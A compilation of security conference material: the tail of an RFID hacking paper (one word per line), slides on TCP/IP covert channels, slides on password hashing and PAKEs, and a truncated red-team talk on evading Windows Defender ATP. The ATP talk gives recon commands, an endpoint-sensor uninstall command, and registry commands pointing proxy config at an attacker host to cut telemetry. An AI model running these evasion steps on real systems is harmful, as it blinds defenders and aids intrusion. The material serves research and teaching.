libraries
even
make
it
possible
to
obtain
decent
likenesses
of
many
objects
commonly
found
in
commercial
buildings.
Often
times
RFID
vendors
will
even
make
available
CAD
drawings
to
customers
making
it
possible
for
someone
to
make
a
very
convincing
fake
reader.
This
is
especially
true
with
the
growing
assortment
of
manufacturing-‐as-‐a-‐service
businesses
allowing
anyone
to
acquire
prints
from
high-‐end
commercial
printers
that
may
be
prohibitively
expensive
to
maintain
and
operate
in
house.
Concluding
Remarks
Of
the
hacking
tools
used
in
this
research,
each
has
its
strengths
and
weaknesses
but
it
is
clear
that
the
proxmark3
is
at
this
time
the
best
option
for
overall
RFID
research
of
low
and
high
frequency
implementations.
It
is
worth
noting
however
that
if
only
high
frequency
(NFC)
capabilities
are
desired
that
more
affordable
options
exist
in
the
form
of
libNFC
compatible
USB
devices.
This
approach
is
HOW
TO
TRAIN
YOUR
RFID
HACKING
TOOLS
primarily
limited
in
that
the
low-‐level
modulation
functionality
is
typically
not
upgradeable
as
is
possible
with
hardware
implementations
like
the
proxmark3.
The
ChameleonMini
provides
a
good
compliment
to
both
of
these
tools
enabling
in
circuit
NFC
tag
emulation
in
a
form
factor
similar
to
a
typical
contactless
smartcard.
The
RFIDler
is
also
a
project
to
keep
an
eye
on
if
only
interested
in
low
frequency
RFID
but
in
its
current
state
(v22-‐beta)
it
did
not
perform
as
well
as
proxmark3.
Based
on
the
collection
of
tags
tested
it
would
appear
that
HID
reading
is
the
most
reliable.
Other
formats
required
a
little
more
patience
and
reconfiguration
of
the
POT
settings
and
finding
a
sweet
spot
for
how
to
place
the
card
in
relation
to
the
antenna
coil.
The
intent
of
this
project
was
to
create
a
suitable
introduction
for
newcomers
and
veteran
hackers
alike
looking
to
harness
the
power
of
their
RFID
hacking
tools.
The
firmware
modifications
documented
in
this
paper
have
been
merged
into
the
official
proxmark
repository
so
that
they
may
come
in
handy
for
users
as
well
as
being
a
partial
guide
for
getting
started
with
new
development.
Antenna
form
models
are
also
being
made
available
as
STL
files
suitable
for
printing
on
most
3D
printers
or
via
an
online
printing
service.
The
concealment
designs
discussed
are
intended
as
exercises
for
the
reader
as
the
needs
of
each
user
are
expected
to
vary
greatly
based
on
the
application. | pdf |
Covert Channels in
TCP and IP Headers
Drew Hintz
[email protected]
http://guh.nu
Drew Hintz - http://guh.nu - 2
At A Glance
• Who are you? Who are they?
• Definitions
• Analysis of some covert channels
• Attack against timestamp covert channel
• Detection and prevention
• New covert channel tool
Drew Hintz - http://guh.nu - 3
Who Are You?
• Need to communicate covertly, but typical
encryption is not the complete solution.
• Why not just encrypt?
– Encryption may be outlawed
– Key escrow may be mandatory
• US & UK Government
– Might raise too many eyebrows
• Thrown in jail in China
• Employer may question what you are doing
• „Malicious‟ code command and control
Drew Hintz - http://guh.nu - 4
Who are “they”?
• Casual Observer
– Watching everyone
– Automated systems sifting on keywords
– Can only keep minimal state on traffic
• Dedicated Observer
– Looking specifically at a few suspect people
– All portions of traffic closely monitored
– Many resources available, can easily keep state
Drew Hintz - http://guh.nu - 5
How covert is covert enough?
• Semi-Covert: Fooling the Casual Observer
– If examined, traffic appears unusual
– Assumes “they” won‟t bother looking
– Detecting it requires a low to moderate amount of work
• Truly Covert: Fooling Everyone
– Traffic appears completely normal
– Will work even if “they” know the procedure used
– Detecting it is as hard as breaking the underlying
cryptography
Drew Hintz - http://guh.nu - 6
Two Types of Covert Channels
• Extra communication to a host
• Hiding the fact that you‟re even
communicating with a host
Drew Hintz - http://guh.nu - 7
Extra Communication to a Host
• Useful when you must hide the fact that
you‟re encrypting data
• Method
– Uses some amount of cover/permissible traffic
– Sender embeds covert message outbound
– Receiver gets traffic as normal
– Receiver analyzes traffic, retrieves message
Drew Hintz - http://guh.nu - 8
Finding a Good Covert Channel
• First find a place that random data is being
transmitted naturally
– Ex. Initial Sequence Numbers, complex timing
of network transmissions
– Then replace that random data with your own
„random data‟ which is actually an encrypted
message
Drew Hintz - http://guh.nu - 9
A simple example
• Alice wants to send a message to Bob
• Alice FTPs Bob a couple of old vacation
pictures, meanwhile Bob records all traffic
• Alice encodes the secret message byte by
byte in the padding of several TCP segment
headers
• Bob looks at padding of recorded traffic
Drew Hintz - http://guh.nu - 10
Unseen Path of Communication
• Useful if you do not want your association
with a node to be known
– Communicating with a closely scrutinized node
– Accessing „forbidden‟ material
– Malicious activity
• Use another node to relay information for
you
Drew Hintz - http://guh.nu - 11
Finding a Good Channel
• Use a hard to monitor node as an
intermediary
• Protection is possible even if all networks
are watched
– Mixes, onion routing
• Prevents association of incoming and outgoing
– Also use extra communication covert channel
• Prevents detection that a node is relaying info
Drew Hintz - http://guh.nu - 12
Unseen Path Example
• Alice and Bob both are allowed to make
requests to the same small webserver
• To transmit a one, Alice pounds the
webserver with heavy traffic
• To transmit a zero, Alice doesn‟t make any
requests
• Bob makes requests to the webserver and
measures latencies
Drew Hintz - http://guh.nu - 13
Evaluating a Covert Channel
• Bandwidth
– bits per TCP connection
– bits per packet
• Ease of Detection
• Permissibility
– How often will it be permitted?
• Prevention
• Difficulty of Implementing
• Special Cases or Restrictions
Drew Hintz - http://guh.nu - 14
What are we going to look at?
• Extra communication covert channels
– Needed if encryption is restricted
– Hidden path is being looked at heavily by
anonyminity researchers
• TCP/IP Headers
– Occurs frequently on networks
– Able to piggy-back on legitimate traffic
Drew Hintz - http://guh.nu - 15
TCP URG Pointer
• Sequence number that points to end of urgent data
• Only interpreted if URG control bit is set
• Set the 16-bit URG pointer to the value that you‟re
transmitting, however do not set the URG bit
• To be a bit more stealthy, the URG pointer value
should be restricted to be near the sequence
numbers so that it actually could be pointing at
something
Drew Hintz - http://guh.nu - 16
URG Pointer Evaluation
• Bandwidth
– Good: 16 bits per TCP Segment; much less if the URG
pointer is restricted to be near sequence numbers
• Detection
– Easy: URG pointer rarely used, and should never be
used without setting the URG control bit
– Also, URG pointer must actually point to data
• Prevention
– Moderate/Easy, if URG bit is not set, rewrite pointer
– Perhaps disallow use of URG
Drew Hintz - http://guh.nu - 17
URG Pointer Eval (continued)
• Permissibility
– Traffic normalizers and some firewalls may
clear the URG pointer, especially if the URG
control bit is zero
• Difficulty of Implementing
– Easy, simply replace bits in packets in transit
• Special Cases
– Can not be used in TCP segments where the
URG pointer is actually being used
Drew Hintz - http://guh.nu - 18
Padding & Reserved bits
• Similar to URG example
• Lower bandwidth
• Padding is easy to detect, because almost
always set to zeros
• Padding and reserved bits may be rewritten
by some routers
Drew Hintz - http://guh.nu - 19
IP Type of Service
• Indicates quality of service requested
– Precedence, delay, throughput, reliability,
reserved
• Set the IP ToS byte to your data
• To be much more stealthy, only modulate
the Delay bit
Drew Hintz - http://guh.nu - 20
IP ToS Evaluation
• Bandwidth
– 1 byte per IP datagram if using entire ToS field
– 1 bit per IP datagram if using only delay bit
• Detection
– Easy if using entire ToS field, because the
entire field is never used
– Moderate if using only the delay bit
• Look for frequent occurrences of set delay bits
Drew Hintz - http://guh.nu - 21
ToS Evaluation (continued)
• Permissibility
– Passed through tested equipment
• Prevention
– Easy, rewrite all ToS bits
– Could slightly alter handling of traffic
• Difficulty of Implementing
– Easy, simply replace bits in packets in transit
• Special Cases
– Could slightly alter actual handling of traffic, but not
noticeable
Drew Hintz - http://guh.nu - 22
Initial Sequence Number (ISN)
• Sequence numbers used to index TCP data
being transmitted
• ISN should be random to prevent TCP
session hijacking and spoofing
• Choose your initial sequence numbers to be
the message to be transmitted
Drew Hintz - http://guh.nu - 23
ISN Evaluation
• Bandwidth
– Low: 32 bits per TCP connection
• Detection - „Impossible‟
• Prevention
– Difficult, have to proxy all TCP connections
Drew Hintz - http://guh.nu - 24
ISN Evaluation (continued)
• Permissibility
– Will pass through all, except some proxies
• Difficulty of Implementing
– Moderately Easy, simply replace the function
used to generate initial sequence numbers
• Special Cases
– Some OSs (such as Windows 98) do not choose
random ISNs
Drew Hintz - http://guh.nu - 25
Timestamp Low-bit Modulation
• TCP option
• Modulate low bit of TCP timestamp to
convey data
• Presented by Giffin, et al at PET2002
• At low bandwidths, the low bit of the
timestamp is quite random (based on
complex timings)
Drew Hintz - http://guh.nu - 26
Timestamp Evaluation
• Bandwidth
– Low: one bit per TCP segment
• Detection
– Very, very difficult for low bandwidth
• Prevention
– Moderate/Easy, strip out TCP timestamp option
• Permissibility
– Permitted on just about all networks
Drew Hintz - http://guh.nu - 27
Timestamp Eval (continued)
• Difficulty of Implementing
– Moderate, many things must be kept in mind
– Must be sure timestamps are monotonically
increasing
– In order to to this, a fast connection will be
slowed down while sending covert data
Drew Hintz - http://guh.nu - 28
Timestamp Detection - Fast
• When on a fast connection, the sending of TCP
segments will be slowed down to a fixed rate
• Algorithm to detect:
– Count number of different & total timestamps sent by a
particular host
– Calculate the ratio of total to different timestamps
– If timestamp covert channel is being used on a
sufficiently fast network, the ratio will converge to
about 1.94
• To prevent slow down more than needed
Drew Hintz - http://guh.nu - 29
Timestamp Detection - Slow
• For even a slow connection, it is very
difficult, but possible, to detect
• The covert channel makes the low bit more
random than it normally is
• Algorithm:
– Record all the low bits of the timestamp
– Put them through a complex randomness test
– If very random, then covert channel being used
• To prevent introduce some non-random data
Drew Hintz - http://guh.nu - 30
Detection and Prevention
• Detect anomalous traffic
– Some IDSs can do this, but it can be very noisy
• Perform normalization of traffic
– norm
– BSD pf
– Use a pump method to defeat timing channels
• Can not close all covert channels, only
possible to decrease bandwidth and ease
Drew Hintz - http://guh.nu - 31
Implementation Issues
• Encryption must happen at some level
• Is data being transmitted?
• What data is being transmitted?
• Reliability vs. Bandwidth
Drew Hintz - http://guh.nu - 32
Encryption is a Key Component
• Good encryption must be used for
theoretically secure covert channels
• Assume covert channel method is well
known
• Must ensure same ciphertext is not
transmitted multiple times
– Stream cipher initialized with a common time
and key could be used
Drew Hintz - http://guh.nu - 33
Is data being transmitted?
• Send checksum at end of each sequence of
data
– Receiver examines traffic and attempts to find
data/checksum matches
• Checksum must be securely keyed,
otherwise attacker could do the same
• Magic flag that receiver watches for
Drew Hintz - http://guh.nu - 34
What Data is being Transmitted?
• Can use unmodified portion of header and
data as a nonce
• Use the hash of the nonce as an index into
the data being transmitted
• Transmit data sequentially
• Implement more advanced protocols
Drew Hintz - http://guh.nu - 35
Reliability vs. Bandwidth
• Using hash of nonce provides high
reliability, low bandwidth, simple solution
• Transmitting data sequentially provides
high bandwidth, low reliability, simple
solution
• Implementing a more advanced protocol is
ideal for long messages
Drew Hintz - http://guh.nu - 36
Covert Channel Tool
• Sending component is a proc Linux Kernel
Module that modifies outgoing TCP/IP
traffic by replacing hard_start_xmit
• Receiving component sniffs incoming
traffic using libpcap
Drew Hintz - http://guh.nu - 37
Implemented Covert Channels
• Initial Sequence Number
• TCP Timestamp low-bit modulation
– Has high-speed protection
• Urgent Pointer
• IP Type of Service
• TCP Reserved Bits
Drew Hintz - http://guh.nu - 38
Implemented Data Indexing
• Sequential transmission of the data
• SHA of unmodified portions of header and
data used as index into the data
Drew Hintz - http://guh.nu - 39
Work to be Done
• Improve user interface
• Built-in encryption
• Add more options for covert channels
• Analyze how various routers, IDSs, etc.
handle illegal data
• Implement more robust protocol for data
transmission (TCP over TCP?) (:
Drew Hintz - http://guh.nu - 40
Any Questions?
• Get the goods:
http://guh.nu/projects/cc/
• Shameless plug for OSVDB
– Vulnerability database by the community
– http://www.osvdb.org | pdf |
Demystifying Key
Stretching and PAKEs
Steve “Sc00bz” Thomas
2
Who am I? Why am I here?
3
Who am I? Why am I here?
● Password cracker
● Cryptography enthusiast
● I just wanted a pw manager
– Bugs and vulns galore
– How would I make one?
● PHC Panelist
– I broke Schvrch and old Makwa
4
● Key Stretching
– What?
– Why?
– Types
– What goes wrong?
– How?
– Settings
Agenda
● Password Authenticated
Key Exchange (PAKE)
– What?
– Why?
– Types
– How?
– Properties
5
Key Stretching
● Passwords
– Hashing (Authentication)
– KDF (Key Derivation Function)
● Fingerprints
– Signal’s Safety Numbers (299.7 → 2112)
6
Key Stretching – Why?
● Ashley Madison data breach (2015)
– 36.15 million bcrypt cost 12 hashes
● 113 H/s/GPU (GTX 980 Ti, the best at the time)
● 89 GPU-hours/password
7
Key Stretching – Why?
● Ashley Madison data breach (2015)
– 36.15 million bcrypt cost 12 hashes
● 113 H/s/GPU (GTX 980 Ti, the best at the time)
● 89 GPU-hours/password
– 15.26 million salted, case-insensitive MD5 hashes[1]
● 11.2 million bcrypt cracked in 10 days
● 73% with MD5 hashes
8
Key Stretching – Types
● Computationally hard
– Amount of work done (number of blocks hashed)
● Parallel vs Sequential
● Memory hard
– Amount of memory used
– Bandwidth consumed
● Cache hard
– Random small transactions
9
Key Stretching – Types
● Computationally hard
– Parallel PBKDF2
– PBKDF2
● Memory hard
– Argon2
– Balloon Hashing
– scrypt
● Cache hard
– bcrypt
– bscrypt
10
Key Stretching – How?
1) seed = H(inputs)
a) [optional] independent seed = H(non-secret inputs)
2) work = doWork(settings, seed[, independent seed])
3) key = KDF(output size, work, seed or inputs)
11
Key Stretching Bugs
● md5crypt (CVE-2012-3287)
● PBKDF2 (CVE-2013-1443)
● phpass (CVE-2014-9034)
● shacrypt (CVE-2016-20013)
● bcrypt's $2$, $2a$→$2b$, $2x$, truncation, and null
characters
12
Key Stretching Bugs
● bcrypt silently truncates at 72 bytes
$passhash = password_hash(
phash('P3rv4d3_extrasalt') .
$fields['password'] .
phash('S0ftw4r3_extrapepper'),
PASSWORD_BCRYPT);
Note “phash()” is SHA-256 hex output
Source: https://twitter.com/Paul_Reviews/status/1538124477317451777
Code from
UK’s “Police CyberAlarm”
13
Key Stretching Bugs
● bcrypt silently truncates at 72 bytes
$passhash = password_hash(
phash('P3rv4d3_extrasalt') .
$fields['password'] .
phash('S0ftw4r3_extrapepper'),
PASSWORD_BCRYPT);
Note “phash()” is SHA-256 hex output
Source: https://twitter.com/Paul_Reviews/status/1544735763807539200
14
Key Stretching Bugs
● Bouncy Castle’s bcrypt compare .indexOf() vs .charAt() (CVE-
2020-28052)
● Checks the first occurrences of ./0123456789
● $2y$10$UnluckySalt./3456789..HashValueWontMatter............
– 1 in 1,030,319 (for costs 11 and 12)
– 1 in 197,153 (for all other normal costs)
15
● Key Stretching
– What?
– Why?
– Types
– What goes wrong?
– How?
– Settings
Agenda
● Password Authenticated
Key Exchange (PAKE)
– What?
– Why?
– Types
– How?
– Properties
16
Key Stretching – How?
1) seed = H(inputs)
2) work = doWork(settings, seed)
3) key = KDF(outSize, work, seed)
17
Key Stretching – How?
1) seed = H(inputs)
2) work = doWork(settings, seed)
3) key = KDF(outSize, work, seed)
18
PBKDF2
HMAC-Init
Password
HMAC-Finish
Salt || 1
HMAC-Finish
XOR
XOR
HMAC-Finish
XOR
HMAC-Finish
Salt || 2
HMAC-Finish
XOR
XOR
HMAC-Finish
XOR
Concatenate
...
19
Parallel PBKDF2
work = xorBlocks(
pbkdf2(password, salt,
iterations:1024,
length:128*cost*hashLength))
output =
pbkdf2(password, work,
iterations:1,
length:outputLength)
20
Password Settings
● Minimum
– Such that an attacker gets <10 kH/s/GPU[17]
● Maximum
– Doesn’t take too much time
100 ms
≲
– Doesn’t use too much memory
– Meets your needed throughput on your hardware
21
bscrypt Minimum Settings
● m=256 (256 KiB), t=8, p=1
● m=256 (256 KiB), t=4, p=2
● m=256 (256 KiB), t=3, p=3
● General
– m=highest per core cache level in KiB
– t≥max(3, 1900000/1024/m/p)
– p≤cores
https://tobtu.com/minimum-password-settings/
BSidesLV 2022 (PasswordsCon track)
bscrypt - A Cache Hard Password Hash
22
bcrypt Minimum Settings
● Cost 9
– Technically it's like “8.1” but it's an integer.
– This should be about 5.3 kH/s on an RTX 3080 12GB.
https://tobtu.com/minimum-password-settings/
23
Argon2 Recommended Settings
● RFC9106
1) Argon2id: m=2097152 (2 GiB), t=1, p=4
2) Argon2id: m=65536 (64 MiB), t=3, p=4
https://tobtu.com/minimum-password-settings/
24
Argon2 Recommended Settings
● RFC9106
1) Argon2id: m=2097152 (2 GiB), t=1, p=4
2) Argon2id: m=65536 (64 MiB), t=3, p=4
https://tobtu.com/minimum-password-settings/
Just kidding. Those are
wildly different strengths.
25
Argon2 Minimum Settings
● Argon2{id,d}: m=45056 (44 MiB), t=1, p=1
● Argon2{id,d}: m=18432 (18 MiB), t=2, p=1
● Argon2: m=11264 (11 MiB), t=3, p=1
● Argon2: m=8192 (8 MiB), t=4, p=1
● Argon2: m=7168 (7 MiB), t=5, p=1
● General
– Argon2i: m≥89062.5/(3*t-1)*α, t≥3, p=1
– Argon2{id,d}: m≥89062.5/(3*t-1)*α, t≥1, p=1
https://tobtu.com/minimum-password-settings/
26
scrypt Minimum Settings
● N=217 (128 MiB), r=8, p=1
● N=216 (64 MiB), r=8, p=2
● N=215 (32 MiB), r=8, p=3
● N=214 (16 MiB), r=8, p=5
● N=213 (8 MiB), r=8, p=9
● General
– N≥570000/r/p*α, r=8, p≥1
https://tobtu.com/minimum-password-settings/
27
PBKDF2 Settings “Poll”
A) 1’000’000 iterations
B) 100’000 iterations
C) 10’000 iterations
D) 1’000 iterations
28
PBKDF2 Minimum Settings
● PBKDF2-HMAC-BLAKE-512*
– 170’000 iterations
● PBKDF2-HMAC-SHA-512
– 130’000 iterations
● PBKDF2-HMAC-SHA-256
– 350’000 iterations
● PBKDF2-HMAC-SHA-1
– 860’000 iterations
https://tobtu.com/minimum-password-settings/
Best but not a NIST approved hash
29
Parallel PBKDF2 Minimum Settings
● PPBKDF2-SHA-256
– Cost 3
● PPBKDF2-SHA-512
– Cost 1
● Each cost is equivalent to 131’072 (217) iterations of PBKDF2
https://tobtu.com/minimum-password-settings/
30
● Key Stretching
– What?
– Why?
– Types
– What goes wrong?
– How?
– Settings
Agenda
● Password Authenticated
Key Exchange (PAKE)
– What?
– Why?
– Types
– How?
– Properties
31
PAKEs
● Password authentication
● Encrypted tunnels
● Sending files
– https://github.com/magic-wormhole
● Fighting phone spoofing
– https://commsrisk.com/?p=35506
32
Why not SCRAM?
● “Salted Challenge Response Authentication Mechanism”
● Untrusted channels
– Messages are equivalent to a password hash
33
Types of PAKEs
● Balanced
– Peer-to-Peer
● Augmented (aPAKE)
– Client-Server
● Doubly Augmented[9]
– Client-Server/Device-Server
● Identity
– IoT
Don’t call these
symmetric/asymmetric
34
Types of PAKEs
● Balanced
– Peer-to-Peer
● Augmented (aPAKE)
– Client-Server
● Doubly Augmented[9]
– Client-Server/Device-Server
● Identity
– IoT
Wi-Fi
35
PAKE Hierarchy
Balanced
Augmented
Doubly Augmented
Identity
36
Balanced
Augmented
Doubly Augmented
Identity
37
● Key Stretching
– What?
– Why?
– Types
– What goes wrong?
– How?
– Settings
Agenda
● Password Authenticated
Key Exchange (PAKE)
– What?
– Why?
– Types
– How?
– Properties
38
Standard Diffie-Hellman
A: a = random()
A: A = a*G
A->B: A
B: b = random()
B: B = b*G
B: SB = b*A
A<-B: B
A: SA = a*B
39
Hide the Ephemeral Keys
Standard Diffie-Hellman
A: a = random()
A: A = a*G
A->B: A
B: b = random()
B: B = b*G
B: SB = b*A
A<-B: B
A: SA = a*B
Both: P = hashToCurve(H(pw))
A: a = random()
A: A = a*G+P
A->B: A
B: b = random()
B: B = b*G+P
B: SB = b*(A-P)
A<-B: B
A: SA = a*(B-P)
40
Hide the Generator
Standard Diffie-Hellman
A: a = random()
A: A = a*G
A->B: A
B: b = random()
B: B = b*G
B: SB = b*A
A<-B: B
A: SA = a*B
Both: P = hashToCurve(H(pw))
A: a = random()
A: A = a*P
A->B: A
B: b = random()
B: B = b*P
B: SB = b*A
A<-B: B
A: SA = a*B
41
Hide the Generator
Standard Diffie-Hellman
A: a = random()
A: A = a*G
A->B: A
B: b = random()
B: B = b*G
B: SB = b*A
A<-B: B
A: SA = a*B
Both: P = hashToCurve(H(pw))
A: a = random()
A: A = a*P
A->B: A
B: b = random()
B: B = b*P
B: SB = b*A
A<-B: B
A: SA = a*B
Patent Expired
2017
42
Hide the Salt (OPRF)
C: P = hashToCurve(pw, id, …)
C: r = random()
C: R = r*P
C->S: id, R
S: salt = dbLookup(id)
S: R' = salt*R
C<-S: R'
C: BlindSalt = (1/r)*R'
BlindSalt == (1/r)*r*salt*P == salt*P
43
PAKEs – How?
● Balanced (Noise-NN)
● Augmented (Noise-KN)
● Doubly Augmented (“Noise-KK” but 3DH)
● Identity (Identity exchange+Balanced PAKE)
44
Balanced (Noise-NN)
Alice
Ephemeral Key
Bob
Ephemeral Key
45
Augmented (Noise-KN)
Alice
Static Key
Ephemeral Key
Bob
Ephemeral Key
46
Doubly Augmented (3DH)
Alice
Static Key
Ephemeral Key
Bob
Static Key
Ephemeral Key
47
● Balanced
– CPace
– SPEKE[7]
● Augmented
– (strong) AuCPace*
– B-SPEKE
– BS-SPEKE*
● Doubly Augmented
– Double BS-SPEKE*
– OPAQUE[11]
● Identity
– CHIP[12]
– CRISP[12]
– “FRY”
– SPAKE2+[8]
– SPAKE2+EE[9]
– SRP6a
– SPAKE2[8]
– SPAKE2-EE[9]
Hiding the: Generator, Ephemeral Keys, Salt
Note not red
48
PAKE Properties
0)Forward secrecy (every PAKE has this)
1)Prevent precomputation
2)Secure registration
3)Quantum annoying (Paper[13], PQCrypto 2021[14])
4)Fragile
5)Number of trips (3 vs 4)
49
PAKE Properties
0)Forward secrecy (every PAKE has this)
1)Prevent precomputation
2)Secure registration
3)Quantum annoying (Paper[13], PQCrypto 2021[14])
4)Fragile
5)Number of trips (3 vs 4)
Discrete Log Problem (DLP)
“Break Diffie-Hellman”
50
Quantum Annoying
● “It is noted in [BM92] that if we assume that a discrete log pre-
computation has been made for the modulus, a password attack
must also compute the specific log for each entry in the password
dictionary (until a match is found).”
– SPEKE paper 1996[7]
● “With EKE, the password P is used to superencrypt such values; it
is not possible to essay a discrete logarithm calculation except for
all possible guesses of P.”
– EKE paper 1992[16]
51
PAKE Properties
1)Prevent precomputation
■ ■ ■ ■ ■
2)Secure registration
■ ■ ■ ■ ■
3)Quantum annoying
■ ■ ■ ■
4)Fragile
■ ■ ■ ■ ■
5)3 Trips
■ ■ ■ ■ ■
■ (strong) AuCPace
■ CPace
■ BS-SPEKE
■ Double BS-SPEKE
■ OPAQUE
52
PAKE API
message, status =
start(myId, otherId, secret,
pakeUser = PAKE_USER_CLIENT,
pakeMode = PAKE_MODE_USE)
message, status =
receiveMessage(message)
https://gist.github.com/Sc00bz/9d5c8e98143f68377e17dc82c5955f2b “pake-api.md”
53
PAKE API
sessionKey = getPakeKey()
storedSecret = getStoredSecret()
passwordKey = getPasswordKey()
https://gist.github.com/Sc00bz/9d5c8e98143f68377e17dc82c5955f2b “pake-api.md”
54
Cheat Sheet
● Balanced
– CPace
● Augmented
– BS-SPEKE
● Doubly Augmented
– Double BS-SPEKE
● Identity
– CHIP
● Balanced PAKEs don’t need key
stretching
● bscrypt (minimums)
– m=256 (256 KiB), t=8, p=1
– m=256 (256 KiB), t=4, p=2
– m=256 (256 KiB), t=3, p=3
– General
● m=highest per core cache level in KiB
● t≥max(3, 1900000/1024/m/p)
● p≤cores
55
● Key Stretching
– What? [Slide 5]
– Why? [Slide 6]
– Types [Slide 8]
– What goes wrong? [Slide 11]
– How? [Slide 16]
– Settings [Slide 20]
Agenda
● Password Authenticated
Key Exchange (PAKE)
– What? [Slide 30]
– Why? [Slide 31]
– Types [Slide 33]
– How? [Slide 38]
– Properties [Slide 48]
56
Questions?
● Twitter: @Sc00bzT
● Github: Sc00bz
● steve at tobtu.com
57
References
[1] https://blog.cynosureprime.com/2015/09/how-we-cracked-millions-of-ashley.html
[2] Police CyberAlarm https://twitter.com/Paul_Reviews/status/1538124477317451777
[3] Police CyberAlarm https://twitter.com/Paul_Reviews/status/1544735763807539200
[4] Password settings https://tobtu.com/minimum-password-settings/
[5] Send files https://github.com/magic-wormhole
[6] Phone spoofing https://commsrisk.com/?p=35506
[7] SPEKE https://jablon.org/jab96.pdf / https://jablon.org/jab97.pdf
[8] SPAKE2 https://www.di.ens.fr/~mabdalla/papers/AbPo05a-letter.pdf
[9] SPAKE2-EE https://moderncrypto.org/mail-archive/curves/2015/000424.html
58
References
[10] (strong) AuCPace https://ia.cr/2018/286
[11] OPAQUE https://ia.cr/2018/163
[12] CHIP, CRISP https://ia.cr/2020/529
[13] Quantum annoying formal definition https://ia.cr/2021/696
[14] Quantum annoying talk https://pqcrypto2021.kr/program.php /
https://youtu.be/Ikco7zuAixY
[15] pake-api.md https://gist.github.com/Sc00bz/9d5c8e98143f68377e17dc82c5955f2b
[16] EKE https://www.cs.columbia.edu/~smb/papers/neke.pdf
[17] 10 kH/s/GPU quote https://arstechnica.com/?p=685505 | pdf |
01
02
03
MS Just Gave the Blue Team
Tactical Nukes
(And How Red Teams Need To Adapt)
2
IBM Security
Who is this Drew Carey Look Alike On Stage?
• Red Team Ops Lead at IBM X-Force Red
• I conduct red teaming operations against defense
contractors and some of North America’s largest banks
• On the board for CREST USA (crest-approved.org)
• I teach network and mobile pentesting
• I like mountain biking, drones, and beer
• It’s my first time, be gentle
• Canadian, sorry not sorry
3
IBM Security
Lab Background
• 3 domains within 2012R2 Forest & 2016 Forest, connected via 2-way Forest Trust
• 3000~ users
• ATP RS2 running on 10x Windows 10 1703 boxes with all ATP default and preview features enabled
• 10x 2012R2/2016 member servers running SQL 2012, etc.
• Both forests have an ATA 1.8 Lightweight Gateway running 1.7 since March, upgraded to 1.8 early
July
4
IBM Security
Tactical nukes? wut?
Red Team^
Blue Team^
5
IBM Security
We’re Talking Post Breach
Source: https://blogs.microsoft.com/microsoftsecure/2016/11/28/disrupting-the-kill-chain/
6
IBM Security
ATP’s Cloud-Based Management Dashboard Intro
7
IBM Security
Alert Process Tree
8
IBM Security
Incident Graphs
9
IBM Security
Host Management
10
IBM Security
Upcoming Windows 10 Fall Creators Update w/ ATP Release 3
Defender “brand” expanded to include:
• Windows Defender AV
• Windows Defender Advanced Threat Protection
• Windows Defender Exploit Guard (EMET)
• Windows Defender Application Guard
• Windows Defender Device Guard
• Credential Guard
• Extended to cover the Windows Server platform, starting with Windows Server 2012 R2 and 2016,
Linux
Source: https://blogs.windows.com/business/2017/06/27/announcing-end-end-security-features-windows-10/
11
IBM Security
12
IBM Security
Gaining a Foothold w/ Out Of The Box Payloads
13
IBM Security
Obfuscated Payloads
14
IBM Security
Oh right, they talked about PSv5 security last year...
• “Suspicious Strings” are already flagged in PSv5 by default
• PowerShell v5 has Script Block Logging on by default.
• AMSI is also enabled by default...
• You can’t just downgrade to PSv2 to bypass
• Same goes for using NotPowerShell or those that directly call System.Management.Automation.dll
• Common techniques leveraging WScript.Shell, etc. are also caught.
15
IBM Security
Undetected:
• Bypassing Script Block Logging/AMSI and then executing encoded
payloads
• Using VBA shellcode injection and not using Kernel32 API declarations
(such as @vysecurity’s cactustorch)
• And sneakier executables with Shelter, diagcabs, etc.
https://www.mdsec.co.uk/2017/07/payload-generation-with-cactustorch/
https://cobbr.io/ScriptBlock-Warning-Event-Logging-Bypass.html
https://github.com/nccgroup/winpayloads
16
IBM Security
Remember, we’re talking POST Breach
• The challenge doesn’t stop by getting on the box undetected initially... that’s the
easy part.
• The problem is detection of activities performed/tools and commands run after
you have an initial foothold / C&C:
̶ Host Recon
̶ Host Priv Esc
̶ Internal Domain Recon
̶ Internal Network Recon
̶ Stealing Creds
̶ Lateral Movement
̶ Grabbing the NTDS.Dit
17
IBM Security
Host Recon
echo %userdomain%
echo %logonserver%
echo %homepath%
echo %homedrive%
net view
net view \fileserv /all
net share
net accounts
netstat
tasklist /svc
gpresult /z
net localgroup Administrators
netsh advfirewall show allprofiles state
systeminfo
netstat –anfo
wmic process list brief
wmic group list brief
wmic computersystem list
wmic process list /format:list
wmic ntdomain list /format:list
wmic useraccount list /format:list
wmic group list /format:list
wmic sysaccount list /format:list
$env:USERDOMAIN
$env:LOGONSERVER
$env:HOMEPATH
$env:HOMEDRIVE
$env:SYSTEMDRIVE
$env:TEMP
$env:ComSpec
$env:USERNAME
Tree $home
18
IBM Security
Side note: Traditional Defender AV also runs as Local System
By the time you read these tweets over your
morning coffee, your target’s Defender AV
instances were already patched...
19
IBM Security
Must elevate to system to stop ATP process, service, modify binaries,
etc.
20
IBM Security
Uninstalling
• Unlike other cloud AV products like CrowdStrike R TM, you can’t just uninstall them from an elevated
command prompt such as:
wmic product where "description='CrowdStrike Sensor Platform’” uninstall
• ATP requires a generated offboarding script with a SHA256 signed reg key based on the unique Org ID
and cert to uninstall:
21
IBM Security
• The ATP sensor uses Windows Telemetry (DiagTrack service), which in turn uses WinHTTP Services
(winhttp.dll.mui) to report sensor data and communicate with the Windows Defender ATP cloud
service.
Telemetry (Cloud Comms)
22
IBM Security
Disrupt ATP Comms as an Unprivileged User
•
The WinHTTP API is independent of Windows Internet (WinINet) internet browsing proxy settings, however it will follow
statically set proxy settings within HKCU via the function WinHttpGetProxyForUrl
•
As unprivileged user, you can also manually configure this (no restart required) at:
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" ^ /v
AutoDetect /t REG_DWORD /D 0 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v
AutoConfigURL /t REG_SZ /d "http://attacker.com/wpad.dat" /f
•
Note this only blocks ATP (Sense), not Windows Defender AV,
as AV doesn’t use WinHTTP
23
IBM Security
Block ATP Comms via FW
You can use the same technique to block traffic for Event Log Forwarding,
Sysmon, SCOM, etc.
24
IBM Security
Why Block Instead Of Disabling?
• Very quick...
• Doesn’t require escalating to system
• Doesn’t alert on communication error within
Security Centre/cloud ATP console for 7 days
• Initial IR shows the service/process still
running
• This issue isn't unique to ATP...
25
IBM Security
ATA
• ATA Center
• ATA Gateway
• ATA Lightweight Gateway
• ATA needs the following
Windows events: 4776, 4732,
